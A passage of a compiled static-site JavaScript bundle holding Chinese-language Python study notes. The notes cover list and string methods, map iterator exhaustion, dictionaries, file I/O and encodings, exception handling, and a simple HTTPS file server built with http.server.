可迭代序列 切片操作 ASCII码 `,35),cn={href:"https://tool.ip138.com/ascii_code",target:"_blank",rel:"noopener noreferrer"},un=e(` chr()函数 描述 chr() 用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符。 用法 chr(i) i -- 可以是10进制也可以是16进制的形式的数字。 返回值是当前整数对应的 ASCII 字符。 List 列表
index() index() 函数用于从列表中找出某个值第一个匹配项的索引位置。
用法 list . index( x[ , start[ , end] ] )
+
x-- 查找的对象。 start-- 可选,查找的起始位置。 end-- 可选,查找的结束位置。 该方法返回查找对象的索引位置,如果没有找到对象则抛出异常。 删除列表中某个元素的3种方法 `,12),rn={href:"https://www.cnblogs.com/xiaodai0/p/10564956.html",target:"_blank",rel:"noopener noreferrer"},dn=n("li",null,"remove、pop、del:",-1),kn=e(` 1.remove
+>> > str = [ 1 , 2 , 3 , 4 , 5 , 2 , 6 ]
+>> > str . remove( 2 )
+>> > str
+>> > [ 1 , 3 , 4 , 5 , 2 , 6 ]
+
2.pop >> > str = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 ]
+>> > str . pop( 1 )
+>> > str
+>> > [ 0 , 2 , 3 , 4 , 5 , 6 ]
+>> > str2= [ 'abc' , 'bcd' , 'dce' ]
+>> > str2. pop( 2 )
+>> > 'dce'
+>> > str2
+>> > [ 'abc' , 'bcd' ]
+
3.del
+>> > str = [ 1 , 2 , 3 , 4 , 5 , 2 , 6 ]
+>> > del str [ 1 ]
+>> > str
+>> > [ 1 , 3 , 4 , 5 , 2 , 6 ]
+
+>> > str2= [ 'abc' , 'bcd' , 'dce' ]
+>> > del str2[ 1 ]
+>> > str2
+>> > [ 'abc' , 'dce' ]
+
+
>> > str = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 ]
+>> > del str [ 2 : 4 ]
+>> > str
+>> > [ 0 , 1 , 4 , 5 , 6 ]
+
+
del 也可以删除整个数据对象(列表、集合等)>> > str = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 ]
+>> > del str
+>> > str
+
Traceback ( most recent call last) :
+File "<pyshell#27>" , line 1 , in < module>
+str
+NameError: name 'str' is not defined
+
注意:del是删除引用(变量)而不是删除对象(数据),对象由自动垃圾回收机制(GC)删除。
补充: 删除元素的变相方法 s1 = ( 1 , 2 , 3 , 4 , 5 , 6 )
+s2 = ( 2 , 3 , 5 )
+s3 = [ ]
+for i in s1:
+ if i not in s2:
+ s3. append( i)
+print ( 's1_1:' , s1)
+s1 = s3
+print ( 's2:' , s2)
+print ( 's3:' , s3)
+print ( 's1_2:' , s1)
+
sort() sort() 函数用于对原列表进行排序,如果指定参数,则使用比较函数指定的比较函数。
用法 list . sort( key= None , reverse= False )
+
key -- 主要是用来进行比较的元素,只有一个参数,具体的函数的参数就是取自于可迭代对象中,指定可迭代对象中的一个元素来进行排序。 reverse -- 排序规则,reverse = True 降序, reverse = False 升序(默认)。 注意:该方法没有返回值 ,但是会对列表的对象进行排序。 list.sort()改变自身 map() map() 会根据提供的函数对指定序列做映射。
用法 map ( function, iterable, . . . )
+
function -- 函数 iterable -- 一个或多个序列 第一个参数 function 以参数序列中的每一个元素调用 function 函数,返回包含每次 function 函数返回值的新列表。 返回值 Python 2.x 返回列表。 Python 3.x 返回迭代器。 示例: >> > def square( x) :
+. . . return x ** 2
+. . .
+>> > map ( square, [ 1 , 2 , 3 , 4 , 5 ] )
+[ 1 , 4 , 9 , 16 , 25 ]
+>> > map ( lambda x: x ** 2 , [ 1 , 2 , 3 , 4 , 5 ] )
+[ 1 , 4 , 9 , 16 , 25 ]
+
+
+>> > map ( lambda x, y: x + y, [ 1 , 3 , 5 , 7 , 9 ] , [ 2 , 4 , 6 , 8 , 10 ] )
+[ 3 , 7 , 11 , 15 , 19 ]
+
注意点:map对象只能访问一次 `,36),mn={href:"https://www.cnblogs.com/stonenox/p/11171080.html",target:"_blank",rel:"noopener noreferrer"},hn=e(`A_object = map ( str , range ( 3 ) )
+A_list = list ( A_object)
+B_list = list ( A_object)
+
+
+
这是由于,map函数返回的,是一个“可迭代对象”。 这种对象,被访问的同时,也在修改自己的值。 类似于 a = a+1 这样。对于map来说,就是每次访问,都把自己变为List中的下一个元素。 循环取得对象中的值 ,实际上是会调用内部函数__next__,将值改变,或者指向下一个元素。 当多次调用,代码认为到达终点了,返回结束,或者__next__指向空,此时可迭代对象(链表) 就算到终点了,不能再用了。 实验:
+
+>> A_object = map ( str , range ( 3 ) )
+>> num = A_object. __next__( )
+>> num
+'0'
+>> num = A_object. __next__( )
+>> num
+'1'
+>> A_list = List( A_object)
+>> A_list
+[ '2' ]
+
+>> num = A_object. __next__( )
+Traceback( most recent call last) :
+ Filr "<stdin>" , line 1 , in < module>
+StopIteration
+可见,该对象已经到了终点了,不能用了。
+
类似于 list(A_object) 或者 for num in A_object 这样的语句,就是调用了迭代器,执行了__next__,消耗了迭代对象。所以,再次使用A_object后,会发现它已经空了。 示例 list_x = [ 3 , 8 , 2 , 6 , 8 ]
+print ( "list_x = [3, 8, 2, 6, 8]" )
+list_w = [ 2000 , 3000 , 2500 , 1000 , 1500 ]
+print ( "list_w = [2000, 3000, 2500, 1000, 1500]" )
+list_c = [ 0.050 , 0.050 , 0.075 , 0.075 , 0.075 ]
+print ( "list_c = [0.050, 0.050, 0.075, 0.075, 0.075]" )
+wc = map ( lambda w, c: w * c, list_c, list_w)
+print ( "wc = map(lambda w, c: w * c, list_c, list_w) = {0}" . format ( wc) )
+print ( "list(wc):{0}" . format ( list ( wc) ) )
+wcx = map ( lambda w, c, x: w * c * x, list_c, list_w, list_x)
+print ( "wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x) = {0}" . format ( wcx) )
+print ( "list(wcx):{0}" . format ( list ( wcx) ) )
+a = sum ( wcx)
+print ( "a = sum(wcx) = {0} ; wcx = {1}" . format ( a, wcx) )
+b = sum ( wc)
+print ( "b = sum(wc) = {0}" . format ( b) )
+print ( "wc = {0}" . format ( wc) )
+print ( "type(a) = {0}, type(b) = {1}" . format ( type ( a) , type ( b) ) )
+x1 = a / b
+print ( "x1 = a / b = {0}" . format ( x1) )
+print ( "sum(wc):{0} \\n type(sum(wcx)):{1} \\n type(sum(wc)):{2} \\n" . format ( sum ( wc) , type ( sum ( wcx) ) , type ( sum ( wc) ) ) )
+print ( "wc:{0}" . format ( wc) )
+print ( "wcx:{0}" . format ( wcx) )
+x1 = sum ( wcx) / sum ( wc)
+print ( "x1 = sum(wcx) / sum(wc) = {0}" . format ( x1) )
+
+
+list_x = [ 3 , 8 , 2 , 6 , 8 ]
+list_w = [ 2000 , 3000 , 2500 , 1000 , 1500 ]
+list_c = [ 0.050 , 0.050 , 0.075 , 0.075 , 0.075 ]
+wc = map ( lambda w, c: w * c, list_c, list_w) = < map object at 0x00000210CFA9A070 >
+list ( wc) : [ 100.0 , 150.0 , 187.5 , 75.0 , 112.5 ]
+wcx = map ( lambda w, c, x: w * c * x, list_c, list_w, list_x) = < map object at 0x00000210CFA9A040 >
+list ( wcx) : [ 300.0 , 1200.0 , 375.0 , 450.0 , 900.0 ]
+a = sum ( wcx) = 0 ; wcx = < map object at 0x00000210CFA9A040 >
+b = sum ( wc) = 0
+wc = < map object at 0x00000210CFA9A070 >
+type ( a) = < class 'int' > , type ( b) = < class 'int' >
+Traceback ( most recent call last) :
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py" , line 19 , in < module>
+ x1 = a / b
+ZeroDivisionError: division by zero
+
问题示例 list_x = [ 3 , 8 , 2 , 6 , 8 ]
+list_w = [ 2000 , 3000 , 2500 , 1000 , 1500 ]
+list_c = [ 0.050 , 0.050 , 0.075 , 0.075 , 0.075 ]
+wc = map ( lambda w, c: w * c, list_c, list_w)
+wcx = map ( lambda w, c, x: w * c * x, list_c, list_w, list_x)
+a = sum ( wcx)
+b = sum ( wc)
+print ( type ( a) , type ( b) )
+x1 = a / b
+print ( x1)
+print ( sum ( wc) , type ( sum ( wcx) ) , type ( sum ( wc) ) )
+x1 = sum ( wcx) / sum ( wc)
+print ( x1)
+
+
+Traceback ( most recent call last) :
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py" , line 12 , in < module>
+ x1 = sum ( wcx) / sum ( wc)
+ZeroDivisionError: division by zero
+< class 'float' > < class 'float' >
+5.16
+0 < class 'int' > < class 'int' >
+
+list_x = [ 3 , 8 , 2 , 6 , 8 ]
+list_w = [ 2000 , 3000 , 2500 , 1000 , 1500 ]
+list_c = [ 0.050 , 0.050 , 0.075 , 0.075 , 0.075 ]
+wc = map ( lambda w, c: w * c, list_c, list_w)
+wcx = map ( lambda w, c, x: w * c * x, list_c, list_w, list_x)
+a = sum ( wcx)
+print ( "list(wcx) = {0}" . format ( list ( wcx) ) )
+print ( "wcx._next_() : {0}" . format ( wcx. __next__( ) ) )
+
+
+Traceback ( most recent call last) :
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py" , line 8 , in < module>
+ print ( "wcx._next_() : {0}" . format ( wcx. __next__( ) ) )
+StopIteration
+list ( wcx) = [ ]
+
+
filter filter() 函数用于过滤序列,过滤掉不符合条件的元素,返回由符合条件元素组成的新列表。 该接收两个参数,第一个为函数,第二个为序列,序列的每个元素作为参数传递给函数进行判断,然后返回 True 或 False,最后将返回 True 的元素放到新列表中。 注意: Pyhton2.7 返回列表,Python3.x 返回迭代器对象,具体内容可以查看:Python3 filter() 函数
filter ( function, iterable)
+
function -- 判断函数。 iterable -- 可迭代对象。 str 字符串
修饰符 `,23),vn={href:"https://blog.csdn.net/qq_35290785/article/details/90634344",target:"_blank",rel:"noopener noreferrer"},bn=n("li",null,[n("p",null,"使用 f 修饰符可以在字符串内支持大括号内的 python 表达式")],-1),gn=e(`Python replace() 方法把字符串中的 old(旧字符串) 替换成 new(新字符串),如果指定第三个参数max,则替换不超过 max 次。
用法 str . replace( old, new[ , max ] )
+
old -- 将被替换的子字符串。 new -- 新字符串,用于替换old子字符串。 max -- 可选字符串, 替换不超过 max 次 返回字符串中的 old(旧字符串) 替换成 new(新字符串)后生成的新字符串 ,如果指定第三个参数max,则替换不超过 max 次。 split() Python split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串
用法 str . split( str = "" , num= string. count( str ) ) .
+
str -- 分隔符,默认为所有的空字符,包括空格、换行(\\n)、制表符(\\t)等。 num -- 分割次数。默认为 -1, 即分隔所有。 返回分割后的字符串列表。 注意:该方法不会改变原本的字符串
+str_t = "Line1-abcdef \\nLine2-abc \\nLine4-abcd"
+print ( "str_t:\\n" + str_t)
+print ( "str_t.split():" )
+print ( str_t. split( ) )
+print ( "str_t.split(' ', 1):" )
+print ( str_t. split( ' ' , 1 ) )
+
+
+str_t:
+Line1- abcdef
+Line2- abc
+Line4- abcd
+str_t. split( ) :
+[ 'Line1-abcdef' , 'Line2-abc' , 'Line4-abcd' ]
+str_t. split( ' ' , 1 ) :
+[ 'Line1-abcdef' , '\\nLine2-abc \\nLine4-abcd' ]
+
+
join() Python join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
用法 sequence -- 要连接的元素序列。 返回通过指定字符连接序列中元素后生成的新字符串。
+str_t = ""
+seq = ( "a" , "b" , "c" )
+print ( str_t. join( seq) )
+
+abc
+
strip() Python strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
注意:该方法只能删除开头或是结尾的字符,不能删除中间部分的字符。 用法 chars -- 移除字符串头尾指定的字符序列。 返回移除字符串头尾指定的字符生成的新字符串。
+str_t = "00000003210Runoob01230000000"
+print ( str_t. strip( '0' ) )
+print ( )
+str2 = " Runoob "
+print ( str2. strip( ) )
+
+
+3210Runoob0123
+
+Runoob
+
lower() Python lower() 方法转换字符串中所有大写字符为小写。
用法 返回将字符串中所有大写字符转换为小写后生成的字符串。 注意:此方法并不会改变原有列表,而是生成一个新列表
string 模块 import string
string. ascii_uppercase 所有大写字母
+string. ascii_lowercase 所有小写字母
+string. ascii_letters 所有字母
+string. digits 所有数字
+
dict 字典是另一种可变容器模型,且可存储任意类型对象。 字典的每个键值 key=>value 对用冒号 : 分割,每个键值对之间用逗号 , 分割,整个字典包括在花括号 {} 中 ,格式如下所示:d = { key1 : value1, key2 : value2 }
+
键一般是唯一的,如果重复最后的一个键值对会替换前面的,值不需要唯一。>> > dict = { 'a' : 1 , 'b' : 2 , 'b' : '3' }
+>> > dict [ 'b' ]
+'3'
+>> > dict
+{ 'a' : 1 , 'b' : '3' }
+
值可以取任何数据类型,但键必须是不可变的,如字符串,数字或元组。 一个简单的字典实例:dict = { 'Alice' : '2341' , 'Beth' : '9102' , 'Cecil' : '3258' }
+
也可如此创建字典:dict1 = { 'abc' : 456 }
+dict2 = { 'abc' : 123 , 98.6 : 37 }
+
访问字典里的值 把相应的键放入熟悉的方括弧,如下实例:
+dict1 = { 'Name' : 'Zara' , 'Age' : 7 , 'Class' : 'First' }
+
+print ( "dict1['Name']: " , dict1[ 'Name' ] )
+print ( "dict['Age']: " , dict1[ 'Age' ] )
+
+
+dict1[ 'Name' ] : Zara
+dict [ 'Age' ] : 7
+
items Python 字典(Dictionary) items() 函数以列表返回可遍历的(键, 值) 元组数组。 用法 示例 dict1 = {'Google': 'www.google.com', 'Runoob': 'www.runoob.com',
+ 'taobao': 'www.taobao.com'}
+
+print("字典值 : %s" % dict1.items())
+
+# 遍历字典列表
+for key, values in dict1.items():
+ print(key, values)
+
+# 运行结果
+字典值 : dict_items([('Google', 'www.google.com'), ('Runoob', 'www.runoob.com'), ('taobao', 'www.taobao.com')])
+Google www.google.com
+Runoob www.runoob.com
+taobao www.taobao.com
+
修改字典 向字典添加新内容的方法是增加新的键/值对,修改或删除已有键/值对如下
+dict1 = { 'Name' : 'Zara' , 'Age' : 7 , 'Class' : 'First' }
+
+dict1[ 'Age' ] = 8
+dict1[ 'School' ] = "RUNOOB"
+
+print ( "dict1['Age']: " , dict1[ 'Age' ] )
+print ( "dict1['School']: " , dict1[ 'School' ] )
+
+
+dict1[ 'Age' ] : 8
+dict1[ 'School' ] : RUNOOB
+
删除字典元素 能删单一的元素也能清空字典,清空只需一项操作。 删除一个字典用del命令 del dict [ 'Name' ]
+dict . clear( )
+del dict
+
字典键的特性 字典值可以没有限制地取任何python对象,既可以是标准的对象,也可以是用户定义的,但键不行。 两个重要的点 需要记住: 不允许同一个键出现两次。创建时如果同一个键被赋值两次,后一个值会被记住 键必须不可变,所以可以用数字,字符串或元组充当,所以用列表就不行 文件操作 学习目标 熟练掌握内置函数open()的应用 理解字符串编码格式对文本文件操作的影响 熟练掌握上下文管理语句with的用法 了解标准库json对JSON文件的读写方法 了解扩展库python-docx、openpyxl、python-pptx对Office文档的操作 python中的文件对象: 文件对象不仅可以用来访问普通的磁盘文件, 而且也可以访问任何其它类型抽象层面上的"文件". 一旦设置了合适的"钩子", 你就可以访问具有文件类型接口的其它对象, 就好像访问的是普通文件一样. 文件与文件类型 文件是存储在外部介质上的一组相关数据的集合。文件的基本单位是字节。文件名由两部分组成:主文件名和扩展名 按文件中的数据组织形式文件分为两类: 文本文件 由字符组成,按ASCII码、UTF-8或Unicode等格式编码,文件内容方便查看和编辑。 二进制文件 由0和1组成的二进制编码。典型的二进制文件包括bmp格式的图片文件、avi格式的视频文件、各种计算机语言编译后生成的文件等。 无论是文本文件还是二进制文件,都可以用“文本文件方式”和“二进制文件方式”打开,但打开后的操作是不同的。 csv文件 .csv是一种文件格式(如.txt、.doc等),也可理解.csv文件就是一种特殊格式的纯文本文件。即是一组字符序列,字符之间已英文字符的逗号或制表符(Tab)分隔。 字符编码 编码是用数字来表示符号和文字的一种方式, 信息传递与编码关系:编码--传递--解码 常见的编码 ASCII 美国标准信息交换码 UTF-8 国际通用编码 GB2312 中国制定的中文编码 GBK GB2312编码的扩展 Unicode 国际组织制定的可以容纳世界上所有文字和符号的字符编码方案。 字符串在Python内部的表示是unicode编码 因此,在做编码转换时,通常需要以unicode作为中间编码, 即先将其他编码的字符串解码(decode)成unicode, 再从unicode编码(encode)成另一种编码。 decode的作用是将其他编码的字符串转换成unicode编码 表示将gb2312编码的字符串str1转换成unicode编码。 encode的作用是将unicode编码转换成其他编码的字符串 表示将unicode编码的字符串str2转换成gb2312编码。 如:s='中文' 如果是在utf8的文件中,该字符串就是utf8编码,如果是在gb2312的文件中,则其编码为gb2312。 这种情况下,要进行编码转换,都需要先用decode方法将其转换成unicode编码,再使用encode方法将其转换成其他编码。 通常,在没有指定特定的编码方式时,都是使用的系统默认编码创建的代码文件。如下: s. decode( 'utf-8' ) . encode( 'utf-8' )
+
decode():是解码 encode()是编码 isinstance(s,unicode): 判断s是否是unicode编码,如果是就返回true,否则返回false 文件操作基础 内置函数open() Python内置函数open()使用指定的模式打开指定文件并创建文件对象,该函数完整的用法如下:open ( file , mode= 'r' , buffering= - 1 , encoding= None ,
+ errors= None , newline= None , closefd= True , opener= None )
+
模式 说明 r 读模式(默认模式,可省略),如果文件不存在,抛出异常 w 写模式,如果文件已存在,先清空原有内容;如果文件不存在,创建新文件 x 写模式,创建新文件,如果文件已存在则抛出异常 a 追加模式,不覆盖文件中原有内容 b 二进制模式(可与r、w、x或a模式组合使用) t 文本模式(默认模式,可省略) + 读、写模式(可与其他模式组合使用)
文件对象常用方法 方法 功能说明 close() 把缓冲区的内容写入文件,同时关闭文件,释放文件对象 read([size]) 从文本文件中读取并返回size个字符,或从二进制文件中读取并返回size个字节,省略size参数表示读取文件中全部内容 readline() 从文本文件中读取并返回一行内容 readlines() 返回包含文本文件中每行内容的列表 seek(cookie, whence=0, /) 定位文件指针,把文件指针移动到相对于whence的偏移量为cookie的位置。其中whence为0表示文件头,1表示当前位置,2表示文件尾。对于文本文件,whence=2时cookie必须为0;对于二进制文件,whence=2时cookie可以为负数 write(s) 把s的内容写入文件,如果写入文本文件则s应该是字符串,如果写入二进制文件则s应该是字节串 writelines(s) 把列表s中的所有字符串写入文本文件,并不在s中每个字符串后面自动增加换行符。也就是说,如果确实想让s中的每个字符串写入文本文件之后各占一行,应由程序员保证每个字符串以换行符结束
上下文管理语句with 在实际开发中,读写文件应优先考虑使用上下文管理语句with。关键字with可以自动管理资源,不论因为什么原因跳出with块,总能保证文件被正确关闭。除了用于文件操作,with关键字还可以用于数据库连接、网络连接或类似场合。用于文件内容读写时,with语句的语法形式如下: with open ( filename, mode, encoding) as fp:
+
+
文件的打开或创建的访问模式
+>> > file2= open ( “c1. py”, ”r”)
+
+>> > file3= open ( “d: \\\\python35\\\\test. txt”, ”w+ ”)
+
+ >> > file4= open ( “tu3. jpg”, ”ab+ ”)
+
import os
+file_path = os. path. abspath( os. path. join( os. path. dirname( __file__) , './res/files/myData.txt' ) )
+with open ( file_path, 'r' , encoding= 'GBK' ) as f:
+ my1 = f. read( 9 )
+ my2 = f. readline( )
+ my3 = f. readlines( )
+print ( "f.read(9):" , my1)
+print ( "f.readline():" , my2)
+print ( "f.readlines():" , my3)
+f. close( )
+
+
+
+
+f. read( 9 ) : learn pyt
+f. readline( ) : hon
+
+f. readlines( ) : [ 'hard work\\n' , '文本文件\\n' , '二进制文件' ]
+
CSV文件 CSV文件是一种文本文件,由任意数目的行组成,一行被称为一条记录。 CSV格式存储的文件一般采用.csv为扩展名, 可以记事本或微软 Excel工具打开,可以在其他操作系统平台上用文本编辑工具打开。 CSV文件特点如下 读取出的数据一般为字符类型,如果要获得数值类型,需要用户完成转换。 以行为单位读取数据。 列之间以半角逗号或制表符为分隔,一般为半角逗号。 一般为每行开头不空格,第一行是属性列,数据列之间用间隔符分隔,无空格,行之间无空行。 csv库 Python提供了一个读写CSV文件的标准库,可以通过 import csv 语句导入。 csv库包含了操作CSV格式文件最基本的功能,典型的方法是csv.reader()和 csv.writer() ,分别用于读和写CSV文件。 向CSV文件中写入和读取数据 用列表变量保存数据,可以使用字符串的join()方法组成逗号分隔形式,再通过文件的write()方法保存到CSV文件中。 读取CSV文件中的数据,即读取一行数据,使用文件的read()方法读取即可,也可以将文件的内容读取到列表中。 异常处理 异常的概念 异常(Exception)就是程序在运行过程中发生的,由于硬件故障、软件设计错误、运行环境不满足等原因导致的程序错误。 代码运行时如果发生了异常,将生成代表该异常的一个对象,并交由Python解释器寻找相应的代码来处理这一异常。 Python异常处理优点 异常处理代码和正常执行的程序代码分离 多个异常统一处理,具有灵活性 可以从try-except之间的代码段中快速定位异常出现的位置 示例 weekday = [ "Mon" , "Tues" , "Weds" , "Thurs" , "Fri" , "Sat" , "Sun" ]
+print ( weekday[ 2 ] )
+print ( weekday[ 7 ] )
+
+
+Weds
+Traceback ( most recent call last) :
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py" , line 3 , in < module>
+ print ( weekday[ 7 ] )
+IndexError: list index out of range
+
try :
+ weekday = [ "Mon" , "Tues" , "Wed" , "Thurs" , "Fri" , "Satur" , "Sun" ]
+ print ( weekday[ 2 ] )
+ print ( weekday[ 7 ] )
+except IndexError:
+ print ( "列表索引可能超出范围" )
+
+
+Wed
+列表索引可能超出范围
+
+
异常类型 `,108),yn={href:"https://www.cnblogs.com/yonyong/p/9327663.html",target:"_blank",rel:"noopener noreferrer"},En=e(`异常名称 描述 BaseException 所有异常的基类 SystemExit 解释器请求退出 KeyboardInterrupt 用户中断执行(通常是输入^C) Exception 常规错误的基类 StopIteration 迭代器没有更多的值 GeneratorExit 生成器(generator)发生异常来通知退出 SystemExit Python 解释器请求退出 StandardError 所有的内建标准异常的基类 ArithmeticError 所有数值计算错误的基类 FloatingPointError 浮点计算错误 OverflowError 数值运算超出最大限制 ZeroDivisionError 除(或取模)零 (所有数据类型) AssertionError 断言语句失败 AttributeError 对象没有这个属性 EOFError 没有内建输入,到达EOF 标记 EnvironmentError 操作系统错误的基类 IOError 输入/输出操作失败 OSError 操作系统错误 WindowsError 系统调用失败 ImportError 导入模块/对象失败 KeyboardInterrupt 用户中断执行(通常是输入^C) LookupError 无效数据查询的基类 IndexError 序列中没有没有此索引(index)【越界】 KeyError 映射中没有这个键 MemoryError 内存溢出错误(对于Python 解释器不是致命的) NameError 未声明/初始化对象 (没有属性) UnboundLocalError 访问未初始化的本地变量 ReferenceError 弱引用(Weak reference)试图访问已经垃圾回收了的对象 RuntimeError 一般的运行时错误 NotImplementedError 尚未实现的方法 SyntaxError Python 语法错误 IndentationError 缩进错误 TabError Tab 和空格混用 SystemError 一般的解释器系统错误 TypeError 对类型无效的操作 ValueError 传入无效的参数 UnicodeError Unicode 相关的错误 UnicodeDecodeError Unicode 解码时的错误 UnicodeEncodeError Unicode 编码时错误 UnicodeTranslateError Unicode 转换时错误 Warning 警告的基类 DeprecationWarning 关于被弃用的特征的警告 FutureWarning 关于构造将来语义会有改变的警告 OverflowWarning 旧的关于自动提升为长整型(long)的警告 PendingDeprecationWarning 关于特性将会被废弃的警告 RuntimeWarning 可疑的运行时行为(runtime behavior)的警告 SyntaxWarning 可疑的语法的警告 UserWarning 用户代码生成的警告
异常处理机制 程序执行过程中如果出现异常,会自动生成一个异常对象,该异常对象被提交给Python解释器,这个过程称为抛出异常。抛出异常也可以由用户程序自行定义。 当Python解释器接收到异常对象时,会寻找处理这一异常的代码并处理,这一过程叫捕获异常。 如果Python解释器找不到可以处理异常的方法,则运行时系统终止,应用程序退出。 try-except语句 用于处理异常,帮助用户准确定位异常发生的位置和原因。 格式如下try :
+ 语句块
+except ExceptionName1:
+ 异常处理代码1
+except ExceptionName2:
+ 异常处理代码2
+……
+
+
try语句 指定捕获异常的范围,由try所限定的代码块中的语句在执行过程中,可能会生成异常对象并抛出。 except语句 每个try代码块必须有一个或多个except语句,用于处理try代码块中所生成的异常。 except语句后的参数指明它能够捕获的异常类型。except块中包含的是异常处理的代码。 示例:while True :
+ try :
+ x = int ( input ( "请输入数据" ) )
+ print ( 100 / x)
+ except ZeroDivisionError:
+ print ( "异常信息:除数不能为0" )
+ except ValueError:
+ print ( "异常信息:输入数据必须是阿拉伯数字" )
+
+
+请输入数据0
+异常信息:除数不能为0
+请输入数据s
+异常信息:输入数据必须是阿拉伯数字
+请输入数据11.1
+异常信息:输入数据必须是阿拉伯数字
+
else语句和finally语句 完整的异常处理结构还可以包括else语句和finally语句。 try :
+ 语句块
+except ExceptionName:
+ 异常处理代码
+……
+else :
+ 无异常发生时的语句块
+finally :
+ 必须处理的语句块
+
+
else语句 与循环中的else语句类似,当try语句没有捕获到任何异常信息,将不执行except语句块,而是执行else语句块。 finally语句 为异常处理提供一个统一的出口,使得在控制流转到程序的其他部分以前,能够对程序的状态作统一的管理。 不论在try代码块中是否发生了异常,finally块中的语句都会被执行。 示例 从键盘输入一个整数,求100除以它的商,并显示。 对从键盘输入的数进行异常处理,若无异常发生,打印提示信息。 while True :
+ try :
+ x = int ( input ( "请输入数据" ) )
+ print ( 100 / x)
+ except ZeroDivisionError:
+ print ( "异常信息:除数不能为0" )
+ except ValueError:
+ print ( "异常信息:输入数据必须是阿拉伯数字" )
+ else :
+ print ( "程序正常结束,未捕获到异常" )
+
+
+请输入数据0
+异常信息:除数不能为0
+请输入数据11.1
+异常信息:输入数据必须是阿拉伯数字
+请输入数据5
+20.0
+程序正常结束,未捕获到异常
+请输入数据
+
fName = "program0805.py"
+file = None
+try :
+ file = open ( fName, "r" , encoding= "utf-8" )
+ for line in file :
+ print ( line, end= "" )
+except FileNotFoundError:
+ print ( "您要读取的文件不存在,请确认" )
+else :
+ print ( "文件读取正常结束" )
+finally :
+ print ( "文件正常关闭" )
+ if file != None :
+ file . close( )
+
+
+您要读取的文件不存在,请确认
+文件正常关闭
+
建站工具 Reflex `,32),fn={href:"https://github.com/reflex-dev/reflex/blob/main/docs/zh/zh_cn/README.md",target:"_blank",rel:"noopener noreferrer"},wn=n("blockquote",null,[n("p",null,"Mark: 适用于需要给当前项目做个基本展示页面不想直接上前端框架的情况, 直接拿 python 生成网页应用程序")],-1),_n=n("hr",null,null,-1),xn=n("h2",{id:"使用-http-server-搭建文件服务器",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#使用-http-server-搭建文件服务器","aria-hidden":"true"},"#"),s(" 使用 http.server 搭建文件服务器")],-1),An={href:"https://gist.github.com/DannyHinshaw/a3ac5991d66a2fe6d97a569c6cdac534",target:"_blank",rel:"noopener noreferrer"},Bn={href:"https://gist.github.com/dergachev/7028596",target:"_blank",rel:"noopener noreferrer"},qn=e(`最基础的用法, 使用如下命令可以在本机 8000 端口起一个文件服务器
`,3),Dn=e(`然后创建一个 py 文件, 如 https_server.py
:
from http. server import HTTPServer, SimpleHTTPRequestHandler
+import ssl
+from pathlib import Path
+
+server_address = ( "0.0.0.0" , 443 )
+PEM_PATH = Path( __file__) . parent / "key/py-server/summer-py-server.crt"
+KEY_PATH = Path( __file__) . parent / "key/py-server/summer-py-server.key"
+
+httpd = HTTPServer( server_address, SimpleHTTPRequestHandler)
+
+httpd. socket = ssl. wrap_socket(
+ httpd. socket,
+ certfile= PEM_PATH,
+ keyfile= KEY_PATH,
+ server_side= True ,
+ ssl_version= ssl. PROTOCOL_TLS,
+)
+
+httpd. serve_forever( )
+
+
DNS Server 报错收集 no module named ‘pip’ 一般出现在更新 pip 显示无权访问后出现(因为更新前会先卸载旧版本pip, 安装新版本时出错就导致了 pip缺失)
可以使用 python -m ensurepip
重装 pip
然后会提示删掉 site_packages
中的 ~ip
等以 ~
开头的文件(夹), 因为这些文件都是没有安装成功的包
`,12);function Fn(Cn,Pn){const t=p("ExternalLinkIcon"),o=p("RouterLink");return i(),c("div",null,[d,n("ul",null,[n("li",null,[n("a",k,[s("什么是编译? - Learn | Microsoft Docs"),a(t)])]),m]),h,n("blockquote",null,[n("p",null,[n("a",v,[s("Python Developers Survey 2021 Results (jetbrains.com)"),a(t)])]),n("p",null,[n("a",b,[s("Python Developers Survey 2022 Results (jetbrains.com)"),a(t)])])]),g,y,E,f,n("ul",null,[n("li",null,[n("a",w,[s("参考文档"),a(t)])])]),_,n("ul",null,[n("li",null,[n("a",x,[s("code2flow 仓库"),a(t)])])]),A,B,n("p",null,[s("Code2flow generates "),n("a",q,[s("call graphs"),a(t)]),s(" for dynamic programming language. Currently, code2flow supports Python and Javascript.")]),D,n("ul",null,[n("li",null,[F,s(),n("a",C,[s("code2flow 仓库"),a(t)]),s(" 或者 "),P,s(" 或者在"),n("a",S,[s("此处"),a(t)]),s("获取我下好的仓库压缩包 ("),T,s(") 并解压")]),n("li",null,[s("在"),n("a",N,[s("此处"),a(t)]),s("选择系统相应版本的软件进行下载;或者在"),n("a",j,[s("此处"),a(t)]),s("获取我下好的版本 ("),L,s("); 下载完后运行并安装此软件(安装过程中记得勾选添加环境变量)")]),I]),M,n("blockquote",null,[n("p",null,[n("a",z,[s("joerick/pyinstrument: 🚴 Call stack profiler for Python. Shows you why your code is slow! (github.com)"),a(t)])]),n("p",null,[n("a",R,[s("User guide - pyinstrument 4.3.0 documentation"),a(t)])])]),V,n("blockquote",null,[n("p",null,[n("a",U,[s("python - ImportError : Attempted relative import with no known parent package - Stack Overflow"),a(t)])]),n("p",null,[n("a",O,[s("python - Relative imports for the billionth time - Stack Overflow"),a(t)])]),n("p",null,[n("a",G,[s("【一分钟解决】Python报错ImportError: attempted relative import with no known parent package_jaredyam的博客-CSDN博客"),a(t)])]),n("p",null,[n("a",W,[s("终于搞懂了Python模块之间的相互引用问题 - 知乎 (zhihu.com)"),a(t)])])]),H,n("blockquote",null,[n("p",null,[n("a",J,[s("python函数注释 - stardsd - 博客园 (cnblogs.com)"),a(t)])]),n("p",null,[n("a",Z,[s("什么是 REST 风格 - 知乎 